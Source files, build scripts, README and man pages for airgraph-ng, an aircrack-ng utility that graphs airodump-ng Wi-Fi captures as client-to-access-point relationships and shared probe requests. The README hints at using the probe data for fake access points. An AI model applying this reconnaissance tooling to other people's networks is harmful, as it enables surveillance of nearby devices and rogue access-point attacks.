__website__= 'remote-exploit.org'
__date__ = '05/18/2011'
__version__= '2.0.2'
__file__ = 'airgraph-ng'
__data__ = 'This is the main airgraph-ng file'
import subprocess
import sys, argparse, os
import pdb
try:
from airgraphviz import *
except ImportError as error:
raise Exception("Your airgraph-ng installation is broken, could not import libraries: %s" %(error))
path = libOuiParse.path
class interface:
"""
provide basic UI to user
"""
def header(self):
"""
Print a pretty header out
"""
print('#'*42+"\n#"+" "*9+"Welcome to Airgraph-ng"+" "*9+"#\n"+"#"*42+"\n")
class dotCreate:
"""
Class for creating graphviz .dot config files
"""
def __init__(self, csv_, png_):
ret = libDumpParse.airDumpParse().parser(csv_)
self.capr = ret['capr']
self.Ap = ret['apDict']
self.client = ret['clientDict']
self.NA = ret['NA']
self.NAP = ret['NAP']
self.csv = csv_
self.png = png_
#144x144 hard code image size to 12feet x 12feet
#start graphviz config file
self.dotFile = ['digraph G{\n\tsize ="144,144";\n\toverlap=false;\n']
self.ouiCheck = libOuiParse.macOUI_lookup(path + 'oui.txt')
if self.ouiCheck is False:
print("Missing the oui.txt file from http://standards-oui.ieee.org/oui.txt, place it in the support directory")
sys.exit(-1)
self.ouiCheck.identDeviceDict(path + 'ouiDevice.txt')
def CAPR(self):
"""
Client AP relationship graph
Display a graph showing what clients are talking to what AP's
"""
tclient = 0 #total client number
tap = len(list(self.capr.keys())) #total ap list
for bssid in list(self.capr.keys()):
time = [self.Ap[bssid]['lts'],self.Ap[bssid]['fts']]
priv = self.Ap[bssid]['privacy']
if priv == '':
priv = "Unknown"
Color = self.encColor(priv)
tclient += len(self.capr[bssid])
for client in self.capr[bssid]:
self.dotFile.append(self.linker(bssid,'->',client))
self.dotFile.append(self.clientColor(client,'black',[self.client[client]['lts'],self.client[client]['fts']],None,True))
self.dotFile.append(
self.apLabel(bssid,Color,len(self.capr[bssid]),time))
footer ='label="Generated by Airgraph-ng\\n%s Access Points and\\n%s Clients shown";\n}' %(tap,tclient)
self.dotFile.append(footer)
self.dot = os.path.splitext(self.csv)[0] + '-capr.dot'
if self.png == None:
self.png = os.path.splitext(self.csv)[0] + '-capr.png'
def CPG(self):
"""
Common Probe Graph
Shows a graph of every client requesting similar probes
"""
probeCount = 0
clientCount = {}
for key in list(self.client.keys()):
sdata = self.client[key]
lts = sdata['lts']
fts = sdata['fts']
if sdata["probe"] != ['']:
lpc = len(sdata['probe'])
clientCount[key] = key
probeCount += lpc
for probe in sdata['probe']:
cleaned_probe = probe.replace('"', '\\"')
self.dotFile.append(self.clientColor(cleaned_probe,'blue'))
self.dotFile.append(self.linker(key,'->', cleaned_probe))
clientColor = '%s\\nRequested %s probes' %(key,lpc)
self.dotFile.append(self.clientColor(key,'black',[lts,fts],None,True))
footer = 'label="Generated by Airgraph-ng\\n%s Probes and \\n%s Clients are shown";\n}' % (probeCount,len(list(clientCount.keys())))
self.dotFile.append(footer)
self.dot = os.path.splitext(self.csv)[0] + '-cpg.dot'
if self.png == None:
self.png = os.path.splitext(self.csv)[0] + '-cpg.png'
def clientColor(self,mac,color,time=None,label=None,DouiCheck=False):
"""
format the client with a color and a label
return graphiz format line
"""
if label == None:
label = mac
#device OUI check
if DouiCheck == True:
lts = time[0]
fts = time[1]
rtn = '\t"%s" [label="%s\\nOUI: %s\\nDevice Type: %s\\nFirst Time Seen: %s\\nLast Time Seen: %s" color=%s fontsize=9];\n' %(mac,mac,self.APouiLookup(mac),self.clientOuiLookup(mac),fts,lts,color)
else:
rtn = '\t"%s" [label="%s" color=%s fontsize=9];\n' %(mac,label,color)
return rtn
def encColor(self,enc):
"""
Take encryption type and decide what color it should be displayed as
returns a list containing AP fill color and Ap label font color
"""
fontColor = "black" #default font color
if enc =="OPN":
color = "firebrick2"
elif enc == "WEP":
color = "gold2"
elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN", "WPA3 WPA2"]:
color = "green3"
else: #unknown enc type
color = "black"
fontColor = "white"
return (color,fontColor)
def linker(self,objA,sep,objB):
"""
Return a graphviz line that links 2 objects together
Both objects are passed in with a separator
returns graphiz format line
"""
return '\t"%s"%s"%s";\n' %(objA,sep,objB)
def dotWrite(self):
"""
Write all the information obtained to a config file
"""
dotdata = ''.join(self.dotFile)
try:
os.remove(self.dot)
except Exception:
pass
nfile = open(self.dot,'a')
nfile.write(dotdata)
nfile.close()
def clientOuiLookup(self,oui):
"""
check ouiDevices and attempt to determine the device type
"""
prefix = oui[:8]
if prefix in self.ouiCheck.ouitodevice:
device = self.ouiCheck.ouitodevice[prefix]
else:
device = 'Unknown'
return device
def APouiLookup(self,oui):
"""
check the oui.txt file and determine the manufacture for an AP or client
"""
prefix = oui[:8]
company = self.ouiCheck.lookup_OUI(prefix)
if company == False:
company = 'Unknown'
return company
def apLabel(self,bssid,color,cnum,time):
"""
Create label strings for AP's
"""
lts = time[0]
fts = time[1]
AP = self.Ap[bssid]
return'\t"%s" [label="%s\\nEssid: %s\\nChannel: %s\\nEncryption: %s\\nOUI: %s\\nFirst Time Seen: %s\\n Last Time Seen: %s\\nNumber of Clients: %s" style=filled fillcolor="%s" fontcolor="%s" fontsize=9];\n' %(bssid,bssid,AP['essid'].rstrip('\x00').replace('"', '\\"'),AP['channel'],AP['privacy'],self.APouiLookup(bssid),fts,lts,cnum,color[0],color[1])
def graphCreate(self,keepdot_):
"""
Write out the graphviz dotFile and create the graph
"""
print("\n**** WARNING Images can be large, up to 12 Feet by 12 Feet****")
print("Creating your Graph using, %s and writing to, %s" %(self.csv,self.png))
print("Depending on your system this can take a bit. Please standby......")
try:
subprocess.Popen(["fdp","-Tpng",self.dot,"-o",self.png,"-Gcharset=latin1"]).wait()
except Exception:
os.remove(self.dot)
print("You seem to be missing the Graphviz toolset. Did you check out the airgraph-ng Deps in the readme?")
sys.exit(1)
if not keepdot_:
os.remove(self.dot)
if __name__ == "__main__":
"""
Main function.
Parses command line input for proper switches and arguments.
Error checking is done in here.
Variables are defined and all calls are made from MAIN.
"""
parser = argparse.ArgumentParser(description="Generate Client to AP Relationship (CAPR) and Common probe graph (CPG) from a airodump-ng CSV file") #
parser.add_argument("-o",
"--output",
help="Our Output Image ie... Image.png")
parser.add_argument("-i",
"--input",
help="Airodump-ng txt file in CSV format. NOT the pcap")
parser.add_argument("-g",
"--graph",
dest="graph_type",
help="Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]")
parser.add_argument("-d",
"--dotfile",
dest="keep_dot",
action="store_true",
default=False,
help="Keep the dot graph file after the export to the PNG image has been done")
if len(sys.argv) <= 1:
interface().header()
parser.print_help()
sys.exit(0)
args = parser.parse_args()
outFile = args.output
graphType = args.graph_type
inFile = args.input
keepdot = args.keep_dot
if inFile == None:
print("Error No Input File Specified")
sys.exit(1)
if graphType == None:
print("Error No Graph Type Defined")
sys.exit(1)
if graphType.upper() not in ['CAPR','CPG','ZKS']:
print("Error Invalid Graph Type\nVaild types are CAPR or CPG")
sys.exit(1)
dot = dotCreate(inFile, outFile)
if graphType.upper() == 'CPG':
dot.CPG()
elif graphType.upper() == 'CAPR':
dot.CAPR()
dot.dotWrite()
dot.graphCreate(keepdot) |
|
aircrack-ng/scripts/airgraph-ng/airodump-join | #!/usr/bin/python
# this script is a total hack it works and I'll clean it up later
import sys,getopt, argparse, pdb, re
def raw_lines(file):
try:
raw_lines = open(file, "r")
except Exception:
print("Failed to open ",file,". Do you have the file name correct?")
sys.exit(1)
Rlines = raw_lines.readlines()
return Rlines
def parse_file(file,file_name):
cleanup = []
for line in file:
# match=re.search("\n", line) # the next few lines are notes and can be ignored
# if match:
# line=line.replace("\n","")
#for x in line:
# clean = filter(lambda y: y != '\n', x)
clean = line.rstrip()
cleanup.append(clean)
try:
header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key')
stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs')
del cleanup[header]
except Exception:
print("You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap")
sys.exit(1)
Clients = cleanup[stationStart:] #splits off the clients into their own list
stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List
del cleanup[stationStart:]#removed all of the client info leaving only the info on available target AP's in ardump maybe I should create a new list for APs?
lines = [cleanup,Clients]
return lines
def join_write(data,name):
file = open(name,'a')
for line in data[0]:
line=line.rstrip()
if len(line)>1:
file.write(line+'\n')
for line in data [1]:
if len(line)>1:
file.write(line+'\n')
file.close()
def showBanner():
print("Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files [ foo_name_1 foo_name_2 foo_name_3 .....] \n\t-o\tOutput File\n")
def file_pool(files):
AP = []
Clients = []
for file in files:
ret = raw_lines(file)
ret = parse_file(ret,file)
AP.extend(ret[1])
Clients.extend(ret[0])
lines = [AP,Clients]
output = sort_file(lines)
return output
def sort_file(input):
AP = ['BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key']
Clients = ['\nStation MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs']
Clients.extend(input[0])
AP.extend(input[1])
output = [AP,Clients]
return output
if __name__ == "__main__":
if len(sys.argv) <= 1:
showBanner()
sys.exit(1)
parser = argparse.ArgumentParser(description="A support tool for airgraph-ng that allows you to join the airodump output files.")
parser.add_argument("-o", "--output", dest="output",nargs=1, help="output file to write to")
parser.add_argument("-i", "--file", dest="filename", nargs="*" ,help="Input files to read data from requires at least two arguments")
args = parser.parse_args()
# we need this manual check because argparse does not support requiring 2 or more nargs
# the closest we could do is nargs="+" which means 1 or more
if len(args.filename) < 2:
parser.print_usage()
print("airodump-join: error: argument -i/--file: expected at least two arguments")
sys.exit(1)
filenames = tuple(args.filename)
outfile = args.output[0]
if outfile == None:
print("You must provide a file name to write out to. IE... -o foo.csv\n")
showBanner()
sys.exit(1)
elif filenames == None:
print("You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n")
showBanner()
sys.exit(1)
return_var = file_pool(filenames)
return_var = join_write(return_var,outfile) |
|
aircrack-ng/scripts/airgraph-ng/Makefile.am | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
SUBDIRS = man
all-local:
( cd $(srcdir) && $(PYTHON) setup.py build \
--build-base $(shell $(READLINK) -f $(builddir))/build \
--verbose )
install-data-local:
$(MKDIR_P) $(DESTDIR)$(datadir)/airgraph-ng
touch $(DESTDIR)$(datadir)/airgraph-ng/.keepthisfolder
install-exec-local:
( cd $(srcdir) && $(MKDIR_P) $(DESTDIR)$(pkgpythondir) && \
$(PYTHON) $(srcdir)/setup.py install \
--prefix $(DESTDIR)$(prefix) \
--record $(DESTDIR)$(pkgpythondir)/airgraph-ng-install_files.txt \
--verbose )
uninstall-local:
cat $(DESTDIR)$(pkgpythondir)/airgraph-ng-install_files.txt | xargs rm -rf
rm -rf $(DESTDIR)$(pkgpythondir)/airgraph-ng-install_files.txt
rmdir $(DESTDIR)$(pkgpythondir) || :
clean-local:
rm -fr $(shell $(READLINK) -f $(builddir))/build
EXTRA_DIST = airgraph-ng \
airodump-join \
lib \
setup.py \
airgraphviz \
README \
test |
|
aircrack-ng/scripts/airgraph-ng/README | Airgraph-ng
-------------
Airgraph-ng's purpose is to graph the txt file that is created when you run
airodump with the -w option
The idea is that we are showing the relationships of the clients to the AP's
so don't be shocked if you see only one mapping as you may only have captured
one client.
Installation
-------------
Airgraph-ng depends are as follows:
* graphviz with png support
* airodump-ng
* python > 2.7
The program usage is as follows
airgraph-ng -i [your txt file] -o [the output file in png format] -g [CAPR|CPG]
I am happy to indroduce an option for graph types, there are two current
graph types:
CAPR or Client to AP Relationship
This shows you all the clients attached to a particular AP
CPR or Client Prob Graph
This showes you all the clients that are sending out probe requests for
the same ESSID's
;-) Fake AP any one?
Once you have airgraph-ng set up and installed I have included some test data
to allow you to quickly see if airgraph-ng is working. This data can be found
in the test directory inside the libs directory
Airgraph-ng sets graphviz to use the latin character set if this is a problem
for you please let me know. I did this to clear up a bug I had with the CPG
graphs
dumpjoin is a short support script that will allow you to join two airodump
CSV files into one. Run the program with no arguments to see the usage.
This is still a work in progress if you have questions contact TheX1le
at thex1le <AT> gmail.com |
|
Python | aircrack-ng/scripts/airgraph-ng/setup.py | #!/usr/bin/env python
# This file is Copyright David Francos Cuartero, licensed under the GPL2 license.
from setuptools import setup
setup(name='airgraph-ng',
version='1.1',
description='Aircrack-ng network grapher',
author='TheX1le',
url='https://aircrack-ng.org',
license='GPL2',
classifiers=[
'Development Status :: 4 - Beta',
],
packages=['airgraphviz'],
scripts=['airodump-join', 'airgraph-ng'],
) |
Python | aircrack-ng/scripts/airgraph-ng/airgraphviz/libDumpParse.py | #!/usr/bin/env python
#airodump parsing lib
#returns in an array of client and Ap information
#part of the airdrop-ng project
from sys import exit as Exit
class airDumpParse:
def parser(self,file):
"""
One Function to call to parse a file and return the information
"""
self.capr = None
self.NAP = None
self.NA = None
self.apDict = None
self.clientDict = None
fileOpenResults = self.airDumpOpen(file)
self.airDumpParse(fileOpenResults)
self.clientApChannelRelationship()
return {'NA':self.NA,'capr':self.capr,'apDict':self.apDict,
'clientDict':self.clientDict,'NAP':self.NAP}
def airDumpOpen(self,file):
"""
Takes one argument (the input file) and opens it for reading
Returns a list full of data
"""
try:
openedFile = open(file, "r")
except IOError:
print("Error Airodump File",file,"does not exist")
Exit(1)
data = openedFile
cleanedData = [line.rstrip() for line in data]
openedFile.close()
return cleanedData
def airDumpParse(self,cleanedDump):
"""
Function takes parsed dump file list and does some more cleaning.
Returns a list of 2 dictionaries (Clients and APs)
"""
try: #some very basic error handling to make sure they are loading up the correct file
try:
apStart = cleanedDump.index('BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID')
except Exception:
apStart = cleanedDump.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key')
del cleanedDump[apStart] #remove the first line of text with the headings
try:
stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs')
except Exception:
stationStart = cleanedDump.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, ESSID')
except Exception:
print("Invalid input file. Please make sure you are loading an airodump txt file and not a pcap")
Exit(1)
del cleanedDump[stationStart] #Remove the heading line
clientList = cleanedDump[stationStart:] #Splits all client data into its own list
del cleanedDump[stationStart:] #The remaining list is all of the AP information
self.apDict = self.apTag(cleanedDump)
self.clientDict = self.clientTag(clientList)
return
def apTag(self,devices):
"""
Create a ap dictionary with tags of the data type on an incoming list
"""
dict = {}
for entry in devices:
ap = {}
string_list = entry.split(',')
#sorry for the clusterfuck but I swear it all makes sense, this is building a dic from our list so we don't have to do position calls later
len(string_list)
if len(string_list) == 15:
ap = {"bssid":string_list[0].replace(' ',''),
"fts":string_list[1],
"lts":string_list[2],
"channel":string_list[3].replace(' ',''),
"speed":string_list[4],
"privacy":string_list[5].replace(' ',''),
"cipher":string_list[6],
"auth":string_list[7],
"power":string_list[8],
"beacons":string_list[9],
"iv":string_list[10],
"ip":string_list[11],
"id":string_list[12],
"essid":string_list[13][1:],
"key":string_list[14]}
elif len(string_list) == 11:
ap = {"bssid":string_list[0].replace(' ',''),
"fts":string_list[1],
"lts":string_list[2],
"channel":string_list[3].replace(' ',''),
"speed":string_list[4],
"privacy":string_list[5].replace(' ',''),
"power":string_list[6],
"beacons":string_list[7],
"data":string_list[8],
"ip":string_list[9],
"essid":string_list[10][1:]}
if len(ap) != 0:
dict[string_list[0]] = ap
return dict
def clientTag(self,devices):
"""
Create a client dictionary with tags of the data type on an incoming list
"""
dict = {}
for entry in devices:
client = {}
string_list = entry.split(',')
if len(string_list) >= 7:
client = {"station":string_list[0].replace(' ',''),
"fts":string_list[1],
"lts":string_list[2],
"power":string_list[3],
"packets":string_list[4],
"bssid":string_list[5].replace(' ',''),
"probe":string_list[6:][0:]}
if len(client) != 0:
dict[string_list[0]] = client
return dict
def clientApChannelRelationship(self):
"""
parse the dic for the relationships of client to ap
in the process also populate list of
"""
clients = self.clientDict
AP = self.apDict
NA = [] #create a var to keep the not associated clients mac's
NAP = [] #create a var to keep track of associated clients mac's to AP's we can't see
apCount = {} #count number of Aps dict is faster the list stored as BSSID:number of essids
apClient = {} #dict that stores bssid and clients as a nested list
for key in (clients):
mac = clients[key] #mac is the MAC address of the client
if mac["bssid"] != ' (notassociated) ': #one line of our dictionary of clients
if mac["bssid"] in AP: # if it is check to see it's an AP we can see and have info on
if mac["bssid"] in apClient:
apClient[mac["bssid"]].extend([key]) #if key exists append new client
else:
apClient[mac["bssid"]] = [key] #create new key and append the client
else: NAP.append(key) # stores the clients that are talking to an access point we can't see
else: NA.append(key) #stores the lines of the not associated AP's in a list
self.NAP = NAP
self.NA = NA
self.capr = apClient
return |
Python | aircrack-ng/scripts/airgraph-ng/airgraphviz/libOuiParse.py | #!/usr/bin/env python
__author__ = 'Ben "TheX1le" Smith, Marfi'
__email__ = 'thex1le@gmail.com'
__website__= ''
__date__ = '04/26/2011'
__version__ = '2011.4.26'
__file__ = 'ouiParse.py'
__data__ = 'a class for dealing with the oui txt file'
"""
########################################
#
# This program and its support programs are free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation; version 2.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
#########################################
"""
import re
import sys
if sys.version_info[0] >= 3:
import requests
else:
import urllib
import os
import pdb
#this lib is crap and needs to be rewritten -Textile
if os.getenv('AIRGRAPH_HOME') is not None and os.path.isdir(os.getenv('AIRGRAPH_HOME')):
path=os.getenv('AIRGRAPH_HOME') + '/support/'
if not os.path.isdir(path):
try:
os.mkdir(path)
except:
raise Exception("Can't create destination directory (%s)!" % path)
elif os.path.isdir('./support/'):
path='./support/'
elif os.path.isdir('/usr/local/share/airgraph-ng/'):
path='/usr/local/share/airgraph-ng/'
elif os.path.isdir('/usr/share/airgraph-ng/'):
path='/usr/share/airgraph-ng/'
else:
raise Exception("Could not determine path, please, check your installation or set AIRGRAPH_HOME environment variable")
class macOUI_lookup:
"""
A class for deaing with OUIs and deterimining device type
"""
def __init__(self, oui=False):
"""
generate the two dictionaries and return them
"""
#a poor fix where if we have no file it tries to download it
self.ouiTxtUrl = "http://standards-oui.ieee.org/oui.txt"
self.ouiTxt = oui
if not oui or not os.path.isfile(self.ouiTxt):
self.ouiUpdate()
self.ouiTxt = path + "oui.txt"
self.last_error = None
self.identDeviceDict(path + 'ouiDevice.txt')
self.identDeviceDictWhacMac(path + 'whatcDB.csv')
self.ouiRaw = self.ouiOpen(self.ouiTxt)
self.oui_company = self.ouiParse() #dict where oui's are the keys to company names
self.company_oui = self.companyParse() #dict where company name is the key to oui's
def compKeyChk(self,name):
"""
check for valid company name key
"""
compMatch = re.compile(name,re.I)
if name in self.company_oui:
return True
for key in list(self.company_oui.keys()):
if compMatch.search(key) is not None:
return True
return False
def ouiKeyChk(self,name):
"""
check for a valid oui prefix
"""
if name in self.oui_company:
return True
else:
return False
def lookup_OUI(self,mac):
"""
Lookup a oui and return the company name
"""
if self.ouiKeyChk(mac) is not False:
return self.oui_company[mac]
else:
return False
def lookup_company(self,companyLst):
"""
look up a company name and return their OUI's
"""
oui = []
if type(companyLst) is list:
for name in companyLst:
compMatch = re.compile(name,re.I)
if name in self.company_oui:
oui.extend(self.company_oui[name])
else:
for key in self.company_oui:
if compMatch.search(key) is not None:
oui.extend(self.company_oui[key])
elif type(companyLst) is str:
if companyLst in self.company_oui:
oui = self.company_oui[companyLst]
else:
compMatch = re.compile(companyLst,re.I)
for key in self.company_oui:
if compMatch.search(key) is not None:
oui.extend(self.company_oui[key]) #return the oui for that key
return oui
def ouiOpen(self,fname,flag='R'):
"""
open the file and read it in
flag denotes use of read or readlines
"""
try:
with open(fname, "r") as fid:
if flag == 'RL':
text = fid.readlines()
elif flag == 'R':
text = fid.read()
return text
except IOError:
return False
def ouiParse(self):
"""
generate a oui to company lookup dict
"""
HexOui= {}
Hex = re.compile('.*(hex).*')
#matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION"
ouiLines = self.ouiRaw.split("\n")
#split each company into a list one company per position
for line in ouiLines:
if Hex.search(line) is not None:
lineList = Hex.search(line).group().replace("\t"," ").split(" ")
#return the matched text and build a list out of it
HexOui[lineList[0].replace("-",":")] = lineList[2].strip()
#build a dict in the format of mac:company name
return HexOui
def companyParse(self):
"""
generate a company to oui lookup dict
"""
company_oui = {}
for oui in self.oui_company:
if self.oui_company[oui] in company_oui:
company_oui[self.oui_company[oui]].append(oui)
else:
company_oui[self.oui_company[oui]] = [oui]
return company_oui
def ouiUpdate(self):
"""
Grab the oui txt file off the ieee.org website
"""
try:
print(("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path)))
if sys.version_info[0] == 2:
urllib.request.urlretrieve(self.ouiTxtUrl, path + "oui.txt")
else:
response = requests.get(self.ouiTxtUrl)
with open(path + "oui.txt", "wb") as file:
bytes_written = file.write(response.content)
print("Completed Successfully")
except Exception as error:
print(("Could not download file:\n %s\n Exiting airgraph-ng" %(error)))
sys.exit(0)
def identDeviceDict(self,fname):
"""
Create two dicts allowing device type lookup
one for oui to device and one from device to OUI group
"""
self.ouitodevice = {}
self.devicetooui = {}
data = self.ouiOpen(fname,'RL')
if data == False:
self.last_error = "Unable to open lookup file for parsing"
return False
for line in data:
dat = line.strip().split(',')
self.ouitodevice[dat[1]] = dat[0]
if dat[0] in list(self.devicetooui.keys()):
self.devicetooui[dat[0]].append(dat[1])
else:
self.devicetooui[dat[0]] = [dat[1]]
def identDeviceDictWhacMac(self,fname):
"""
Create two dicts allowing device type lookup from whatmac DB
one for oui to device and one from the device to OUI group
"""
self.ouitodeviceWhatmac3 = {}
self.ouitodeviceWhatmac = {}
self.devicetoouiWhacmac = {}
data = self.ouiOpen(fname,'RL')
if data == False:
self.last_error = "Unble to open lookup file for parsing"
return False
for line in data:
dat = line.strip().split(',')
dat[0] = dat[0].upper()
self.ouitodeviceWhatmac[dat[0]] = dat[1]
self.ouitodeviceWhatmac3[dat[0][0:8]] = dat[1] # a db to support the 3byte lookup from whatmac
if dat[1] in list(self.devicetoouiWhacmac.keys()):
self.devicetoouiWhacmac[dat[1]].append(dat[0])
else:
self.devicetoouiWhacmac[dat[1]] = [dat[0]] |
Python | aircrack-ng/scripts/airgraph-ng/airgraphviz/lib_Airgraphviz.py | __author__ = 'Ben "TheX1le" Smith'
__email__ = 'thex1le@gmail.com'
__website__= 'http://trac.aircrack-ng.org/browser/trunk/scripts/airgraph-ng/'
__date__ = '03/02/09'
__version__ = ''
__file__ = 'lib_Airgraphviz.py'
__data__ = 'This library supports airgraph-ng'
"""
########################################
#
# Airgraph-ng.py --- Generate Graphs from airodump CSV Files
#
# Copyright (C) 2009 Ben Smith <thex1le[a.t]gmail.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation; version 2.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
#########################################
"""
""" Airgraph-ng Support Library """
def apColor(Label,APcolorList): #OLDNAME AP_Label_Color
"""
Inputs a list containing AP information and the AP color information
Returns a graph object that holds AP information (colors and details)
TODO: Get sample data for each line?
"""
APcolor = APcolorList[0]
fontColor = APcolorList[1]
graph = ['\t','"',Label[0],'"',
'[label="',Label[0],
'\\nEssid: ',Label[1].rstrip('\x00'), #NULL ESSID is equal to binary space, must remove
'\\nChannel: ',Label[2],
'\\nEncryption: ',Label[3],
'\\nNumber of Clients: ','%s' %(Label[4]), #Check to see if this method is actually needed
'"',' style=filled',
' fillcolor="',APcolor,
'"',' fontcolor="',fontColor,
'"',' fontsize=7','];\n']
return graph
def clientColor(mac,color,label=""): #OLDNAME Client_Label_Color
"""
Creates a label for the client information passed in (mac, color)
Returns a graph object
TODO: Pass a label in that may hold additional client data that could in turn be written on the client.
"""
if label == "":
label = mac
graph = ['\t','"',mac,'"',' [label="',label,'"',' color="',color,'"',' fontsize=7','];\n']
return graph
def encryptionColor(enc): #OLDNAME Return_Enc_type
"""
Take in the encryption used by the AP and return the proper color scheme based on that value.
Returns a list containing the AP fill color and AP font color
"""
fontColor = "black" #Default Font Color to be used
if enc == "OPN":
color = "firebrick2"
elif enc == "WEP":
color = "gold2"
elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]:
color = "green3"
else: #No AP should ever get to this point as they will either be encrypted or open
color = "black"
fontColor = "white"
APcolorList = (color,fontColor) #OLDNAME colorLS
return APcolorList
def graphvizLinker(objA,sep,objB): #OLDNAME graphviz_link
"""
Return a graph object that links 2 objects together. Both objects are passed in with a separator
"""
graph =['\t','"',objA,'"',sep,'"',objB,'"',';\n']
return graph
def dotClose(input,footer): #OLDNAME dot_close
"""
Close the graphiz config file
Return final output to be written
"""
input.extend(footer)
input.append("}")
output = ''.join(input)
return output
def dotWrite(data): #OLDNAME dot_write
"""
Write all the information obtained to a configuration file
"""
try:
subprocess.Popen(["rm","-rf","airGconfig.dot"]) #Delete the file if it already exists
except Exception:
pass
with open('airGconfig.dot','a') as fid:
fid.writelines(data)
def subGraph(items,graphName,graphType,tracked,parse): #OLDNAME subgraph
"""
Create a subgraph based on the incoming values
TODO: Figure out what this does and clean it up
"""
subgraph = ['\tsubgraph cluster_',graphType,'{\n\tlabel="',graphName,'" ;\n']
if parse == "y":
for line in items:
clientMAC = line[0]
probe_req = ', '.join(line[6:])
for bssid in tracked:
if clientMAC not in tracked[bssid]:#check to make sure were not creating a node for a client that has an association already
subgraph.extend(['\tnode [label="',clientMAC,' \\nProbe Requests: ',probe_req,'" ] "',clientMAC,'";\n'])
subgraph.extend(['\t}\n'])
elif parse == "n":
subgraph.extend(items)
subgraph.extend(['\t}\n'])
return subgraph
###############################################
# Filter Class #
###############################################
#def filter_enc(input,enc):
# AP = info[1]
# for key in AP:
# bssid = AP[key]
# if bssid[5] != enc:
# del AP[bssid]
# return_list = [info[0],AP]
# return return_list
#encryption type
#number of clients
#OUI
#channel
#beacon rate?
#essid
#speed
#time
#probe requests
#whore mode... search for ANY one wanting to connect |
aircrack-ng/scripts/airgraph-ng/lib/Makefile | AC_ROOT = ../../..
include $(AC_ROOT)/common.mak
LIB_FILES = lib_Airgraphviz.py
ag_lib = $(DESTDIR)$(bindir)/lib
default: all
all:
@echo Nothing to do. Run make install
install: uninstall
install -d $(ag_lib)
install -m 644 $(LIB_FILES) $(ag_lib)
uninstall:
-rm -f $(ag_lib)/lib_Airgraphviz.py |
|
Man Page | aircrack-ng/scripts/airgraph-ng/man/airgraph-ng.1 | .TH airgraph-ng 1 "May 2010" Linux "User Manual"
.SH NAME
airgraph-ng - a 802.11 visualization utility
.SH SYNOPSIS
.B airgraph-ng [options]
.SH DESCRIPTION
.BI airgraph-ng
graphs the CSV file generated by Airodump-ng. The idea is that we are showing the relationships of the clients to the AP's so don't be shocked if you see only one mapping as you may only have captured one client
.SH OPTIONS
.PP
.TP
.I -h
Shows the help screen.
.TP
.I -i
Airodump-ng CSV file
.TP
.I -o
Output png file.
.TP
.I -g
Choose the Graph Type. Current types are [CAPR (Client to AP Relationship) & CPG (Common probe graph)].
.TP
.I -a
Print the about.
.SH EXAMPLES
.B airgraph-ng
-i dump-01.csv -o dump.png -g CAPR
.PP
.B airgraph-ng
-i dump-01.csv -o dump.png -g CPG
.SH SEE ALSO
.br
.B airodump-ng(1) |
Man Page | aircrack-ng/scripts/airgraph-ng/man/airodump-join.1 | .TH Airodump-join
.SH NAME
airodump-join - a support tool for airgraph-ng that allows you to join the airodump output files.
.SH SYNOPSIS
airodump-join.py -i foo_name_1 foo_name_2 foo_name_3 .... -o output-file.csv
.SH DESCRIPTION
A simple support tool that allows joining of airodump files into one
larger file. It supports an unlimited amount of input files to a
single output file.
.SH OPTIONS
.IP -i
Input Files [ foo_name_1 foo_name_2 foo_name_3 ..]
.IP -o
Output File |
aircrack-ng/scripts/airgraph-ng/man/Makefile.am | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
